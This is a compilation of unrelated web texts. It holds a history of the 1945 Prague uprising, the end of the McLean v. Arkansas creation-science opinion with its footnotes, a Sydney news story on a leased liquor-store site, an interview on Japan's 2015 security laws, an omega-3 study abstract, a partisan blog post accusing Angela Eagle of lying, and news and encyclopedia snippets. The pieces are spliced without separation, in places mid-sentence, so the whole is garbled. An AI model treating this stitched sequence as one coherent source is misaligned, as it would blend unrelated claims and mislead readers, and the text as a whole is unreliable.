"Today we played without half of our starting o-line and Pro Bowl safety. Marshawn Lynch has been out for a few weeks. You see the result. Guys just keep fighting, keep pushing."
The Panthers and Cardinals will be tabbed as the teams to beat in the NFC playoffs. Everybody knows that won't really be true until somebody beats the Seahawks.This article is about the resistance action during World War II. For the events of Spring 1968, see Prague Spring
The Prague uprising (Czech: Pražské povstání) of 1945 was a partially-successful attempt by the Czech resistance to liberate the city of Prague from German occupation during World War II. The preceding six years of occupation had fuelled anti-German sentiment and the approach of the Soviet Red Army and the US Third Army offered a chance of success.
On 5 May 1945, in the last moments of the war in Europe, Czech citizens spontaneously attacked the German occupiers and Czech resistance leaders emerged from hiding to join the uprising. The Russian Liberation Army, which had been fighting for the Germans, defected and supported the Czechs. German troops counter-attacked, but their progress was slowed by barricades constructed by the Czech citizenry. On 8 May, the Czech and German leaders signed a ceasefire allowing the German forces to withdraw from the city, but not all Waffen-SS units obeyed. Fighting continued until 9 May, when the Red Army entered the nearly liberated city.
The uprising was brutal, with both sides committing war crimes. Violence against Germans, sanctioned by the Czechoslovak government, continued after the liberation, and was justified as revenge for the occupation or as a means to encourage Germans to flee.
The US Third Army had refused to come to the aid of the Czech insurgents, which undermined the credibility of the Western powers in postwar Czechoslovakia. Instead, the uprising was presented as a symbol of Czech resistance to Nazi rule, and the liberation by the Red Army was exploited by the Czechoslovak Communist Party to increase popular support for communism.
Background [ edit ]
German occupation [ edit ]
Czech districts with a high ethnic German population, annexed by Germany in 1938.
In 1938, the German Chancellor, Adolf Hitler, announced his intention to annex the Sudetenland, a region of Czechoslovakia with a high ethnic German population. As the previous appeasement of Hitler had shown, the governments of both France and Britain were intent on avoiding war. British Prime Minister Neville Chamberlain and French Prime Minister Édouard Daladier negotiated with Hitler and ultimately acquiesced to his demands at the Munich Agreement, in exchange for guarantees from Nazi Germany that no additional lands would be annexed. No Czechoslovak representatives were present at the negotiations. Five months later, when the Slovak Diet declared the independence of Slovakia, Hitler summoned Czechoslovak President Emil Hácha to Berlin and forced him to accept the German occupation of the Czech rump state and its re-organisation into the German-dominated Protectorate of Bohemia and Moravia. Germany promptly invaded and occupied the remaining Czech territories. Although France had a defensive alliance with Czechoslovakia, neither the French nor British intervened militarily.
The Nazis considered many Czechs to be ethnically Aryan, and therefore suitable for Germanisation. As a consequence, the German occupation was less harsh than in other Slavic nations. Wartime living standards were actually higher in the occupied region than in Germany itself. However, freedom of speech was curtailed and 400,000 Czechs were conscripted for forced labour in the Reich. During the six-year occupation, more than 20,000 Czechs were executed and thousands more died in concentration camps. In 1941, the Nazi Reinhard Heydrich was made Deputy Protector of Bohemia and Moravia and began enforcing the occupation more harshly. Within five days of Heydrich's arrival, 142 people were executed.[31] His brutality led to the Allies ordering his assassination the following year, but the Germans killed more than a thousand Czechs in reprisal, including the entire villages of Lidice and Ležáky. While the general violence of the occupation was much less severe than in Eastern Europe, it nevertheless incited violent anti-German sentiment in many Czechs.
Military situation [ edit ]
8th Army 6th SS PzA 1st Pz Army 17th Army 4th Pz Army 7th Army 1st Army 3rd Army 1st Ukrainian
Front 4th Ukr.
Front 2nd Ukrainian
Front PRAGUE Positions on 6 May 1945[36]
Red: Soviet / Grey: German / Green: U.S.
During the spring of 1945, partisan forces in Bohemia and Moravia totalled about 120 groups, with a combined strength of around 7,500 people. Partisans disrupted the railway and highway transportation by sabotaging track and bridges and attacking trains and stations. Some railways could not be used at night or on some days, and trains were forced to travel at a slower speed. Waffen-SS units retreating from the Red Army's advance into Moravia burned down entire villages as a reprisal. Despite losing much of their leadership to a March 1945 purge by the Gestapo, Communist groups in Prague distributed propaganda leaflets calling for an insurrection. German soldiers and civilians became increasingly worried and prepared to flee violent retaliation for the occupation. In an attempt to reassert German authority, SS police general Karl Hermann Frank broadcast a message over the radio threatening to destroy Prague and drown any opposition in blood.[41]
In early 1945, former Czechoslovak Army officers set up the Bartoš Command [cs] commanded by General Karel Kutlvašr [cs] to oversee fighting inside Prague, and the Alex Command [cs] under General František Slunečko [cs] to direct insurgent units in the suburbs. Meanwhile, the Czech National Council (cs), with representatives from various Czech political parties, formed to take over political leadership after the overthrow of the Nazi and collaborationist authorities. Military leaders planning an uprising within Prague counted on the loyalty of ethnically Czech members of the police and the Government Army of the Protectorate of Bohemia and Moravia, as well as employees of key civil services, such as transport workers and the fire brigade. The Russian Liberation Army (ROA), composed of Soviet POWs that had agreed to fight for Nazi Germany, was stationed outside of Prague. Hoping that the ROA could be persuaded to switch sides in order to avoid accusations of collaboration, the Czech military command sent an envoy to General Sergei Bunyachenko, commander of the 1st Infantry Division (600th German Infantry Division). Bunyachenko agreed to help the Czechs.
On 4 May, the US Third Army under General George S. Patton entered Czechoslovakia. British Prime Minister Winston Churchill was the only political leader to advocate the liberation of Prague by the Western Allies. In a telegram to General Dwight D. Eisenhower, the Supreme Allied Commander in Europe, Churchill said that "the liberation of Prague...by US troops might make the whole difference to the postwar situation of Czechoslovakia and might well influence that in nearby countries." Joseph Stalin, leader of the Soviet Union, also wanted his forces to liberate the city, and asked that the Americans stop at Plzeň, 50 miles to the west. The Red Army was planning a major offensive into the Protectorate, due to start 7 May. Eisenhower, disinclined to accept American casualties or risk antagonising the Soviet Union, acquiesced to the Soviet demands that the Red Army enter Prague.
The Prague uprising was part of a wave of insurrection that broke out across the Protectorate in early May as Allied forces approached, including the Plzeň (cs), Kladno (cs), and Přerov (cs) uprisings.
Uprising [ edit ]
5 May [ edit ]
Meeting of the Bartoš Command. General Kutlvašr is on the left.
Staff of Czech Radio opposed to the occupation began the morning by broadcasting in the banned Czech language. The Bartoš Command and Communist groups met separately and both scheduled the armed uprising to begin 7 May. Czech citizens gathered in the streets, vandalised German inscriptions, and tore down German flags. Czechoslovak flags appeared openly in windows and on jacket lapels. Tram operators refused to accept Reichmarks or to give the stops in German, as was required by the occupiers. Some German soldiers were surrounded and killed. In response to growing popular agitation, Frank threatened to shoot Czechs gathering in the streets, and increased armed German patrols. Some German soldiers began to fire into the crowds.
Around noon, the radio broadcast a series of appeals to the police and gendarmerie requesting aid in fighting SS guards inside the radio building. A detachment of Government Army policemen responded to the call, and met stiff resistance as they retook the building. During the entire time, the radio continued to broadcast.[63] Although not directed at the populace, the appeal ignited fighting all over the city, concentrated in the downtown districts. Crowds of unarmed civilians, mostly young men with no military training, overwhelmed German garrisons and stores. Many casualties were inflicted by German soldiers and civilians sniping from strong-points or rooftops; in response, Czech forces began to intern Germans and suspected collaborators. Czech noncombatants assisted by setting up makeshift hospitals for the wounded and bringing food, water, and other necessities to the barricades, while German forces were often forced to looting to obtain essential supplies. Czech forces seized thousands of firearms, hundreds of Panzerfausts, and five armoured vehicles, but still suffered a shortage of weapons.
By the end of the day, the resistance had seized most of the city east of the Vltava River. The insurgents held many important buildings, including the radio, the telephone exchange, most railway stations, and ten of twelve bridges. Three thousand prisoners were liberated from Pankrác Prison. By controlling the telephone exchange, resistance fighters were able to sever communication between German units and commanders. German forces held most of the territory to the west of the river, including an airfield at Ruzyně, northwest of the city, and various surrounded garrisons such as the Gestapo Headquarters.
At the orders of Field Marshal Ferdinand Schörner, in command of Axis forces in Bohemia, Waffen-SS units were pulled from fighting the Red Army and sent into Prague. The SS was relatively well-equipped with tanks, |
Dist., 366 F. Supp. 1208 (S.D. Tex 1978), aff.d. 486 F.2d 137 (5th Cir. 1973), cert. denied 417 U.S. 969 (1974).
V(D)
The defendants presented Dr. Larry Parker, a specialist in devising curricula for public schools. He testified that the public school's curriculum should reflect the subjects the public wants in schools. The witness said that polls indicated a significant majority of the American public thought creation science should be taught if evolution was taught. The point of this testimony was never placed in a legal context. No doubt a sizeable majority of Americans believe in the concept of a Creator or, at least, are not opposed to the concept and see nothing wrong with teaching school children the idea.
The application and content of First Amendment principles are not determined by public opinion polls or by a majority vote. Whether the proponents of Act 590 constitute the majority or the minority is quite irrelevant under a constitutional system of government. No group, no matter how large or small, may use the organs of government, of which the public schools are the most conspicuous and influential, to foist its religious beliefs on others.
The Court closes this opinion with a thought expressed eloquently by the great Justice Frankfurter:
We renew our conviction that "we have stake the very existence of our country on the faith that complete separation between the state and religion is best for the state and best for religion." Everson v. Board of Education, 330 U.S. at 59. If nowhere else, in the relation between Church and State, "good fences make good neighbors." [McCollum v. Board of Education, 333 U.S. 203, 232 (1948)]
An injunction will be entered permanently prohibiting enforcement of Act 590.
It is ordered this January 5, 1982.
-- William R. Overton in the U.S. District Court, Eastern District of Arkansas, Western Division
Notes
1. The complaint is based on 42 U.S.C. &1983, which provides a remedy against any person who, acting under color of state law, deprives another of any right, privilege or immunity guaranteed by the United States Constitution or federal law. This Court's jurisdiction arises under 28 U.S.C. &&1331, 1343(3) and 1343(4). The power to issue declaratory judgments is expressed in 28 U.S.C. &&2201 and 2202.
2. The facts necessary to establish the plaintiff's standing to sue are contained in the joint stipulation of facts, which is hereby adopted and incorporated herein by reference. There is no doubt that the case is ripe for adjudication.
3. The State of Arkansas was dismissed as a defendant because of its immunity from suit under the Eleventh Amendment. Hans v. Louisiana, 134 U.S. 1 (1890).
4. The authorities differ as to generalizations which may be made about Fundamentalism. For example, Dr. Geisler testified to the widely held view that there are five beliefs characteristic of all Fundamentalist movements, in addition, of course, to the inerrancy of Scripture: (1) belief in the virgin birth of Christ, (2) belief in the deity of Christ, (3) belief in the substitutional atonement of Christ, (4) belief in the second coming of Christ, and (5) belief in the physical resurrection of all departed souls. Dr. Marsden, however, testified that this generalization, which has been common in religious scholarship, is now thought to be historical error. There is no doubt, however, that all Fundamentalists take the Scriptures as inerrent and probably most take them as literally true.
5. Initiated Act 1 of 1929, Ark. Stat. Ann. &80-1627 et seq., which prohibited the teaching of evolution in Arkansas schools, is discussed infra at text accompanying note 26.
6. Subsequent references to the testimony will be made by the last name of the witness only. References to documentary exhibits will be by the name of the author and the exhibit number.
7. Applicants for membership in the CRS must subscribe to the following statement of belief: "(1) The Bible is the written Word of God, and because we believe it to be inspired thruout [sic], all of its assertions are historically and scientifically true in all of the original autographs. To the student of nature, this means that the account of origins in Genesis is a factual presentation of simple historical truths. (2) All basic types of living things, including man, were made by direct creative acts of God during Creation Week as described in Genesis. Whatever biological changes have occurred since Creation have accomplished only changes within the original created kinds. (3) The great Flood described in Genesis, commonly referred to as the Noachian Deluge, was an historical event, worldwide in its extent and effect. (4) Finally, we are an organization of Christian men of science, who accept Jesus Christ as our Lord and Savior. The account of the special creation of Adam and Eve as one man and one woman, and their subsequent Fall into sin, is the basis for our belief in the necessity of a Savior for all mankind. Therefore, salvation can come only thru [sic] accepting Jesus Christ as our Savior." (Px 115)
8. Because of the voluminous nature of the documentary exhibits, the parties were directed by pre-trial order to submit their proposed exhibits for the Court's convenience prior to trial. The numbers assigned to the pre-trial submissions do not correspond with those assigned to the same documents at trial and, in some instances, the pre-trial submissions are more complete.
9. Px 130, Morris, Introducing Scientific Creationism Into the Public Schools (1975), and Bird, "Resolution for Balanced Presentation of Evolution and Scientific Creationism." ICR Impact Series No. 71, App. 14 to Plaintiff's Pretrial Brief.
10. The creationists often show candor in their proselytization. Henry Morris has stated, "Even if a favorable statute or court decision is obtained, it will probably be declared unconstitutional, especially if the legislation or injunction refers to the Bible account of creation." In the same vein he notes, "The only effective way to get creationism taught properly is to have it taught by teachers who are both willing and able to do it. Since most teachers now are neither willing nor able, they must first be both persuaded and instructed themselves." Px 130, Morris, Introducing Scientific Creationism Into the Public Schools (1975)(unpaged).
11. Mr. Bird sought to participate in this litigation by representing a number of individuals who wanted to intervene as defendants. The application for intervention was denied by this Court. McLean v. Arkansas, ____ F.Supp. ______, (E.D. Ark. 1981), aff'd. per curiam, Slip Op. No. 81-2023 (8th Cir. Oct. 16, 1981).
12. The model act had been revised to insert "creation science" in lieu of creationism because Ellwanger had the impression people thought that creationism was too religious a term. (Ellwanger Depo. at 79)
13. The original model act had been introduced in the South Carolina Legislature, but had dies without action after the South Carolina Attorney General had opined that the act was unconstitutional.
14. Specifically, Senator Holsted testified that he holds to a literal interpretation of the Bible; that the bill was compatible with his religious beliefs; that the bill does favor the position of literalists; that his religious convictions were a factor in his sponsorship of the bill; and that he stated publicly to the Arkansas Gazette (although not on the floor of the Senate) contemporaneously wit h the legislative debate that the bill does presuppose the existence of a divine creator. There is no doubt that Senator Holsted knew he was sponsoring the teaching of a religious doctrine. His view was that the bill did not violate the First Amendment because, as he saw it, it did not favor one denomination over another.
15. This statute is, of course, clearly unconstitutional under the Supreme Court's decision in Abbington School District v. Schempp, 374 U.S. 203 (1963)
16. The joint stipulation of facts establishes that the following areas are the only information specifically required by statute to be taught in all Arkansas schools: (1) the effects of alcohol and narcotics on the human body, (2) conservation of national resources, (3) Bird Week, (4) Fire Prevention, and (5) Flag etiquette. Additionally, certain specific courses, such as American history and Arkansas history, must be completed by each student before graduation from high school.
17. Paul Ellwanger stated in his deposition that he did not know why Section 4(a)(2) (insufficiency of mutation and natural selection) was included as an evidence supporting creation science. He indicated that he was not a scientist, "but these are postulates that have been laid down by creation scientists." Ellwanger Depo. at 136.
18. Although defendants must make some effort to cast the concept of creation in non-religious terms, this effort surely causes discomfort to some of the Act's more theologically sophisticated supporters. The concept of a creator God distinct from the God of love and mercy is closely similar to the Marcion and Gnostic heresies, among the deadliest to threaten the early Christian church. These heresies had much to do with development and adoption of the Apostle's Creed as the official creedal statement of the Roman Catholic Church in the West. (Gilkey.)
19. The parallels between Section 4(a) and Genesis are quite specific: (1) "sudden creation from nothing" is taken from Genesis, 1:1-10 (Vawter, Gilkey); (2) destruction of the world by a flood of divine origin is a notion peculiar to Judeo-Christian tradition and is based on Chapters 7 and 8 of Genesis (Vawter); (3) the term "kinds" has no fixed scientific meaning, but appears repeatedly in Genesis (all scientific witnesses); (4) "relatively recent inception" means an age of the earth from 6,000 to 10,000 years and is based on the genealogy of the Old Testament using the the rather astronomical ages assigned to the patriarchs (Gilkey and several of the defendants' scientific witnesses); (5) separate ancestry of man and ape focuses on the portion of the theory of evolution which Fundamentalists find most offensive, Epperson v. Arkansas, 393 U.S. 97 (1968)
20. "[C]oncepts concerning... a supreme being of some sort are manifestly religious... These concepts do not shed that religiosity merely because they are presented as philosophy or as a science..." Malnak v. Yogi, 440 F. Supp. 1284, 1322 (D.N.J. 1977); aff'd per curiam, 592 F.2d 197 (3d Cir. 1979).
21. See, e.g., Px 76, Morris, et. al., Scientific Creationism, 203 (1980) ("If creation really is a fact, this means there is a Creator, and the universe is his creation.") Numerous other examples of such admissions can be found in the many exhibits which represent creationist literature, but no useful purpose would be served here by a potentially endless listing.
22. Morris, the Director of ICR and one who first advocated the two model approach, insists that a true Christian cannot compromises with the theory of evolution and that the Genesis version of creation and the theory of evolution are mutually exclusive. Px 31, Morris, Studies in the Bible & Science, 102-103. The two model approach was the subject of Dr. Richard Bliss's doctoral dissertation. (Dx 35). It is presented in Bliss, Origins: Two Models - Evolution, Creation (1978). Moreover, the two model approach merely casts in educationalist language the dualism which appears in all creationist literature -- creation (i.e. God) and evolution are presented as two alternative and mutually exclusive theories. See, e.g., Px 75, Morris, Scientific Creationism (1974) (public school edition); Px 59, Fox, Fossils: Hard Facts from the Earth. Particularly illustrative is Px 61, Boardman, et. al., Worlds Without End (1971) a CSRC publication: One group of scientists, known as creationists, believe that God, in a miraculous manner, created all matter and energy...
"Scientists who insist that the universe just grew, by accident, from a mass of hot gases without the direction or help of a Creator are known as evolutionists."
23. The idea that belief in a creator and acceptance of the scientific theory of evolution are mutually exclusive is a false premise and offensive to the religious views of many. (Hicks) Dr. Francisco Ayala, a geneticist of considerable reknown and a former Catholic priest who has the equivalent of a Ph.D. in theology, pointed out that many working scientists who subscribe to the theory of evolution are devoutly religious.
24. This is so despite the fact that some of the defense witnesses do not subscribe to the young earth or flood hypotheses. Dr. Geisler stated his belief that the earth is several billion years old. Dr. Wickramasinghe stated that no rational scientist would believe the earth is less than one million years old or that all the world's geology could be explained by a worldwide flood.
25. "We do not know how the Creator created, what processes He used, for he used processes which are not now operating anywhere in the natural universe. This is why we refer to creation as Special Creation. We cannot discover by scientific investigation anything about the creative processes used by God." Px 78, Gish, Evolution -- The Fossils Say No! (42) (3d ed. 1979) (emphasis in original).
26. The evolutionary notion that man and some modern apes have a common ancestor somewhere is the distant past has consistently been distorted by anti-evolutionists to say that man descended from modern monkeys. As such, this idea has long been more offensive to Fundamentalists. See, Epperson v. Arkansas, 393 U.S. 97 (1968)
27. Not only was this point acknowledged by virtually all the defense witnesses, it is patent in the creationist literature. See, e.g., Px 89, Kofahl & Segraves, The Creation Explanation, 40: "The Flood of Noah brought about vast changes in the earth's surface, including vulcanism, mountain building, and the deposition of the major part of sedimentary strata. This principle is called 'Biblical catastrophism."'
28. See n. 7, supra, for the full test of the CRS creed.
29. The theory is detailed in Wickramasinghe's book with Sir Fred Hoyle, Evolution from Space (1981), which is Dx 79.
30. Ms. Wilson stated that some professors she spoke with sympathized with her plight and tried to help her find scientific materials to support Section 4(a). Others simply asked her to leave.
31. Px 129, published by Zonderman Publishing House (1974), states that it was "prepared by the Textbook Committee of the Creation Research Society." It has a disclaimer pasted inside the front cover stating that it is not suitable for use in public schools.
32. Px 77, by Duane Gish
33. The passage of Act 590 apparently caught a number of its supporters off guard as much as it did the school district. The Act's author, Paul Ellwanger, stated in a letter to "Dick," (apparently Dr. Richard Bliss at ICR): "And finally, if you know of any textbooks at any level and for any subjects that you think are acceptable to you and are also constitutionally admissible, these are things that would be of enormous to these bewildered folks who may be cause, as Arkansas now has been, by the sudden need to implement a whole new ball game with which they are quite unfamiliar." [sic] (Unnumbered attachment to Ellwanger depo.)The removal of the Dan Murphy's store on Darley Road at Leichhardt will be costly for the taxpayer. Credit:Nick Moir Labor is demanding the government reveal why senior officials from Transport for NSW suddenly changed their minds and extended the lease, despite earlier concerns about "potential risks" and probity concerns. The lease was due to expire in 2018 and, had it not been extended in 2012, could now have been acquired for next to nothing. The risks in "continuing with the tenancy" were outlined by Transport for NSW's director of asset management, John Fisher, in an email three days before Christmas 2011 in which he recommended against extending the lease on 7 Darley Road. Those risks included increasing the financial exposure to RailCorp and raising a compensation claim if the site was later required.
WestConnex has been highly controversial in Sydney's inner west. Credit:Peter Rae "[The tenant] may merely be trying to secure the site on better terms in order to find and [sic] end buyer at a profit," Mr Fisher wrote to the then deputy director general of Transport for NSW's projects division, Chris Lock. "This will quarantine the site and may result in unjustly enriching the tenant." Eight days later, after the Christmas break, Mr Lock asked Mr Fisher to "pop over" to discuss the Darley Road site, according to the emails and documents obtained by Labor under freedom of information laws. At Mr Lock's request, Mr Fisher sent an email on January 4, 2012, to a person whose name has been redacted, to arrange a meeting about 7 Darley Road to "obtain a better understanding of your situation and consider various options with a view to reaching an in principle agreement".
Two days later, Mr Fisher emailed Mr Lock to outline the key terms of a heads of agreement between Transport for NSW and Tdrahhciel to extend the lease until 2038. The agreement was subject to a "satisfactory probity report". On January 13, 2012, Mr Fisher emailed a person whose name has been redacted to say he believed advice from probity advisory Procure Group was no longer relevant due to a "change in circumstances". He said he wanted to "engage Procure Group to re-assess the matter and provide a new, updated report which takes account of the current situation". After receiving a draft advice from Procure more than a week later, Mr Fisher responded in an email that "you have missed the scope". Transport for NSW later engaged a separate advisory, O'Connor Marsden, which, in advice in August 2012, emphasised the benefit to the government of avoiding a legal dispute with Tdrahhciel. The lease was extended a month later.
The state opposition's acting leader, Michael Daley, said the government should give a clear explanation of why the lease extension was granted against the initial advice of the department and an independent probity adviser. "We know that Liberal Party lobbyists were involved, but we need a proper explanation of who or what made transport officials suddenly change their minds," he said. "It should come clean and release all documents so that taxpayers are no longer kept in the dark about a site that they are going to have to pay $50 million to get back." Tdrahhciel owner Shane Barr has previously told Fairfax Media that former Liberal leader Kerry Chikarovski helped him get "in front of the person" in government who could assist in dealing with the issue. In response to questions that detailed what Mr Lock and Mr Fisher said in the emails, Transport for NSW said the lease was extended in 2012 at the instigation of its projects division due to the requirements of a station at Leichhardt North for the inner west light rail line extension.
The agency said it entered into a conditional heads of agreement with Tdrahhciel to inform planning for the light rail extension and "provide greater certainty regarding site access and land" for the project. "The agreement made clear that it would not be binding and the lease would not be extended unless Transport for NSW received probity advice that endorsed dealing directly with Tdrahhciel," it said. Loading "The extension was only granted after we investigated options for acquiring land at the site needed for the light rail, including compulsory acquisition, in accordance with recommendations from Procure Group." Roads and Maritime Services, which handles acquisitions for WestConnex, declined to comment on what compensation would be paid to the leaseholders at 7 Darley Road, citing commercial in confidence.Japan's parliament in the early hours of Sept. 19 passed the most sweeping changes to Japan's defense policy since World War II. The new legislation works around or "reinterprets" Japan's pacifist constitution. Yet such changes are proving deeply emotional for the Japanese public. Fights broke out Thursday in the Diet as lawmakers sought to delay, though Prime Minister Shinzo Abe's ruling coalition has had the votes for some time, as Columbia University's Gerald Curtis points out.
Prof. Curtis is the former director of Columbia's Weatherhead East Asian Institute and the author of numerous books on Japan and Japanese politics. The Monitor caught up with him at Harvard University's Belfer Center, where he spoke last week, and asked him to discuss the meaning and purpose of the laws now enacted.
QUESTION: You say Japan's new security laws are the most significant in 50-plus years. That’s quite a statement.
ANSWER: The legislation introduces an element of reciprocity, of mutual obligation, in the US-Japan alliance that has not existed before. A decision to engage in collective defense, coming to the assistance of the US in war in a situation where Japan is not attacked, is something new and profound and changes the nature of the alliance. The guidelines were signed in April when Prime Minister Abe visited the United States and they replace guidelines in place for two decades.
Q: What is at the heart of this change?
A: Abe and other leaders in Tokyo recognize that Japan cannot expect the US to put its young men in harm's way, and help protect Japan, while Japan only says “thank you,” and doesn’t make a contribution of its own.
More broadly, the old US-Japan security treaty has been based on a grand bargain by which Japan agreed to provide bases for the US to project its power into the rest of Asia, and beyond, in return for an American guarantee of Japan’s security. The new security legislation and defense guidelines recognize that this postwar grand bargain no longer suffices, and Japan must do more.
Q: In Washington, Abe promised a new security deal so powerful that Pentagon officials said Japan is ready to defend US territory. Yet in Tokyo, Abe has told lawmakers in the Diet that Japan’s policy isn’t changing one iota.
A: Abe lavishly oversold the deal in the US and undersold it at home. That creates a wide gap in perception and something of a problem. He generated enthusiasm in Washington and concern at home. He is trying to walk a very narrow path between convincing the US side that Japan is preparing to do more, but not spooking the Japanese public that continues under the trauma of a war that ended 70 years ago, and is scared to death of the Japanese military getting involved in overseas military operations that will drag Japan into the vortex of violent world politics.
Abe continues to be surprised by the depth of Japanese pacifism and public opinion opposed to this.
Those in the know in Washington understand the political game he has to play. When the legislation passes, professionals in the Japanese and US forces will begin to integrate their activities.
Q: Chinese leader Xi Jinping just hosted a huge military parade in Beijing seen as quite anti-Japanese in tone. How much do Japanese concerns about China play out in this new law?
A: Abe should be writing a thank-you note to Xi Jinping. The Chinese have been doing everything in their power to strengthen the right-wing in Japan, to convince Japanese that China is a threat, whether it is in the Senkaku Islands or offensive actions in the air defense zone declared by China. They are bashing the Japanese left and right, trying to get British and US allies lined up in criticism against Japan. All of this has undermined any support and positive attitudes about China in Japan.
Q: Is China driving Japan closer to the US?
A: Japan’s overall position is quite conflicted. There is a strong economic dependence on China. Yet there is real fear in Tokyo that China will continue to grow stronger, the US will be relatively weaker, and this creates a dangerous security situation for Japan. But one consequence of the China security threat is agreement in Japan that no security policy is available that does not involve an intimate alliance with the United States.
When Abe says that no country can defend itself by itself, he is giving voice to the now widely held view in Japan that the only way to maintain a balance of power in East Asia, which means to balance China’s growing power and regional ambitions, is for Japanese security policy to be joined at the hip with the United States.
Q: We often hear that Mr. Abe is the driving force behind the new security laws. Is he?
A: Abe is determined to get it done. He is a man in a hurry. He has pushed the envelope on this consistently, further and faster than anyone else.
But it would be a mistake to see this new policy as primarily a result of Abe having become prime minister. The driving force behind this evolution in Japanese policy is not Abe. It is the structural changes in the international system. Abe could resign tomorrow and there would not be fundamental change in Japanese security policy, no matter who replaced him.
Q: Which structural changes are we talking about?
A: In the bipolar cold war you either lined up with the Soviets or the US. Today we have an evolving, uncertain, unstable and amorphous multi-polar system in Asia in which all kinds of coalitions are possible. In the cold war the Japanese didn’t worry whether the US would come to their aid. That has changed. While it is likely that the US would come to Japan’s aid in a conflict in the Senkaku Islands, it is no longer 100 percent. Especially if there is uncertainty over how the conflict was provoked. Was it the Chinese or the Japanese? If the Japanese provoked it, will the US go to war with China over some uninhabited islands in the East China Sea?
Japan wants to reinforce the US alliance by offering to do more. It is a response to the fear of being abandoned by the US, or a fear that China might think that the US is not coming to the defense of Japan, a miscalculation that creates a war.
Q: China plays the central role here?
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The default button right now for everything about the US relationship with Japan is China. What are we going to do about China? And what do we want the Japanese to do?
The concern in Japan is that the US won’t see things in Asia the way the Japanese do. And also that the US will find a way to get along with the Chinese, which will make Japan much less important for the US.OBJECTIVE:
The current study aimed to investigate the effects of eicosapentaenoic acid (EPA)-rich and docosahexaenoic acid (DHA)-rich supplementations on cognitive performance and functional brain activation.
DESIGN:
A double-blind, counterbalanced, crossover design, with a 30-day washout period between two supplementation periods (EPA-rich and DHA-rich) was employed. Functional magnetic resonance imaging scans were obtained during performance of Stroop and Spatial Working Memory tasks prior to supplementation and after each 30-day supplementation period.
RESULTS:
Both supplementations resulted in reduced ratio of arachidonic acid to EPA levels. Following the EPA-rich supplementation, there was a reduction in functional activation in the left anterior cingulate cortex and an increase in activation in the right precentral gyrus coupled with a reduction in reaction times on the colour-word Stroop task. By contrast, the DHA-rich supplementation led to a significant increase in functional activation in the right precentral gyrus during the Stroop and Spatial Working Memory tasks, but there was no change in behavioural performance.
CONCLUSIONS:
By extending the theory of neural efficiency to the within-subject neurocognitive effects of supplementation, we concluded that following the EPA-rich supplementation, participants' brains worked 'less hard' and achieved a better cognitive performance than prior to supplementation. Conversely, the increase in functional activation and lack of improvement in time or accuracy of cognitive performance following DHA-rich supplementation may indicate that DHA-rich supplementation is less effective than EPA-rich supplementation in enhancing neurocognitive functioning after a 30-day supplementation period in the same group of individuals.It is a window casting light onto a shared stairwell in Sherlock House, which houses Ms Eagle’s constituency office along with no less than five other businesses, as the image above shows.
Members of the public have investigated this matter and turned up far more information than the press, whose reports seem to have had an ulterior motive behind them. Look at this YouTube clip, for example:
Ms Eagle’s office appears to be on the ground floor – with a Labour Party sticker in the window – so it seems unlikely that anybody wishing to target it would have failed to find it.
In all fairness, it seems the break was either a random act of vandalism or a failed burglary attempt.
But Ms Eagle was determined to blame it on so-called ‘Corbynistas’.
Many people – not all of them supporters of Mr Corbyn – are very angry about this bare-faced attempt to hoodwink us.
This is one of many lies that have been spread about Mr Corbyn and his supporters by Labour MPs who are trying to remove him from the Labour leadership, after all.
And the British public don’t like liars.
We’ve all been had. Yet again, the mainstream media juggernaut has lunged into overdrive and without stopping to check its facts and its sources has taken on trust what Angela Eagle, a hard-bitten Westminster MP of 24 years’ standing and her advisors have been telling them. They could have applied the brakes and made some very basic, very obvious checks – checks which I’ve carried out for myself this evening. Angela Eagle’s office windows were not targeted. They were left untouched. But it appears that somebody connected to Ms Eagle or possibly Ms Eagle herself, when briefing the press pack, has allowed their dishonesty or their desire to misrepresent what happened to get the better of them.
Source: #Brickgate – Angela Eagle’s Office Window was NOT broken… | Wirral In It Together
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Dec. 20, 2016, 4:25 PM GMT / Updated Dec. 20, 2016, 4:25 PM GMT By Aliyah Frumin
A war of words between Donald Trump and Bill Clinton escalated after the former president told a local newspaper that Trump “doesn’t know much” and blamed his wife’s loss in the race for the White House on FBI Director James Comey and Russian hackers.
The president-elect took to his Twitter feed to respond Tuesday morning.
Clinton made the initial remarks last week to a group of people he ran into at a small bookstore in Westchester County, NY, including an editor at the Bedford-Pound Ridge Record Review, who published Clinton’s comments.
“James Comey cost her the election,” Clinton reportedly said, referring to Comey sending a letter to lawmakers just two weeks before the election about the finding of new emails the FBI said could be pertinent to an investigation into Hillary Clinton’s private email server during her time as secretary of state. Clinton added, “We were seven (percentage) points up” in the polls and slated to win before Comey’s announcement.
Two days before the election, Comey told members of Congress that the FBI found nothing new in the e-mails but Clinton maintained the damage had already been done.
RELATED: Hillary Clinton Blames FBI Letter, Russia Hacking for Presidential Loss
In the reports of Clinton's stop at the bookstore, Clinton was characterized has having had taken a call from Trump after the election and described it as "cordial." On Tuesday afternoon, Clinton sought to clear up who initiated the phone call through his own Twitter feed:
Clinton was also asked at the book store if he thought Trump was a smart man. “He doesn’t know much. One thing he does know is how to get angry, white men to vote for him,” Clinton reportedly responded. He had previously said he believed Russia was also to blame for releasing internal Democratic emails and documents that hurt his wife’s election’s prospects before Election Day.
"I've watched her battle through that bogus email deal and be vindicated at the end," Clinton said earlier this week. "She fought through everything, and she prevailed against it all. But, you know, with the end we had the Russians and the FBI deal, which she couldn't prevail against that."Home
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Newfoundland
Full Name 58 Dominion of Newfoundland Alliance Allies - Minor Member Nation or Possession Possessing Power United Kingdom Population in 1939 300,000 Military Deaths in WW2 1,000
Contributor: C. Peter Chen
ww2dbaseAlthough the British colony of Newfoundland had been self-governing since 1855, the official name Dominion of Newfoundland was not established until 1907. During WW1, the 1st Newfoundland Regiment served in France, participating in, among others, the Battle of the Somme; the unit would earn the "Royal" prefix for its gallantry during WW1. Newfoundland suffered considerably during the Great Depression, leading to serious stability issues with the government; as the result, in 1934, the parliament of Newfoundland relinquished self-government, giving power back to Britain.
